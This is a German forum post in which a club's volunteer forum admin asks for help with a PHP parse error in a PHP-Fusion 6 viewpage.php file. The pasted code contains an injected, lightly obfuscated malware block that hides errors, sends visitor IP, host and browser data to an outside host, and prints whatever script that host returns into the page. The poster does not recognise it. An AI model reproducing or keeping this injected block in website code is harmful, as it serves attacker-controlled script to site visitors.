Einzelnen Beitrag anzeigen
  #1 (permalink)  
Alt 19.05.2014, 09:19
Hubi Hubi ist offline
Neuer Benutzer
neuer user
Thread-Ersteller
 
Registriert seit: 19.05.2014
Beiträge: 3
Hubi befindet sich auf einem aufstrebenden Ast
Standard Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING

Hallo,
Habe vor kurzem in unserem Verein die Aufgabe bekommen das Forum zu administrieren (News aktuell halten, Kalender ausfüllen, neue Nutzer freischalten etc.). Wie es der Teufel so woll haben wir jetzt eine Fehlermeldung die ich beheben soll und der ersteller des Forums ist nicht mehr erreichbar.
Hab auch schon die Suche genutzt aber irgendwie hilft mir das nicht wirklich weiter.

"Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /www/htdocs/w00ae071/Speedway/html/viewpage.php on line 29"

Ich bin zu doof den Fehler zu finden bzw. ihn zu beheben.
Hier der Code:
PHP-Code:
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
require_once 
"subheader.php";
require_once 
"side_left.php";
require_once 
INCLUDES."comments_include.php";
require_once 
INCLUDES."ratings_include.php";
include 
LOCALE.LOCALESET."custom_pages.php";

if (isset(
$page_id) && !isNum($page_id)) fallback("index.php");

$result dbquery("SELECT * FROM ".$db_prefix."custom_pages WHERE page_id='$page_id'");
if (
dbrows($result) != 0) {
    
$data dbarray($result);
    
opentable($data['page_title']);
    if (
checkgroup($data['page_access'])) {
        eval(
"?>
<?php
#233cde#
error_reporting(0); ini_set('display_errors',0); 
$wp_x229 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', 
$wp_x229) && !preg_match ('/bot/i', $wp_x229))){
$wp_x09229="http://"."html"."common".".com/common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_x229);
$ch curl_init(); curl_setopt ($chCURLOPT_URL,$wp_x09229);
curl_setopt ($chCURLOPT_TIMEOUT6); curl_setopt($chCURLOPT_RETURNTRANSFER1); $wp_229x curl_exec ($ch); curl_close($ch);}
if ( 
substr($wp_229x,1,3) === 'scr' ){ echo $wp_229x; }
#/233cde#
?>".stripslashes($data['page_content'])."<?php ");
    } else {
        echo "
<center><br>\n".$locale['400']."\n<br><br></center>\n";
    }
} else {
    opentable(
$locale['401']);
    echo "
<center><br>\n".$locale['402']."\n<br><br></center>\n";
}
closetable();
if (dbrows(
$result) && checkgroup($data['page_access'])) {
    if (
$data['page_allow_comments']) showcomments("C","custom_pages","page_id",$page_id,FUSION_SELF."?page_id=$page_id");
    if (
$data['page_allow_ratings']) showratings("C",$page_id,FUSION_SELF."?page_id=$page_id");
}

require_once "
side_right.php";
require_once "
footer.php";
?>
Vielen Dank schon mal für eure Hilfe

Gruß Flo
Mit Zitat antworten
Sponsored Links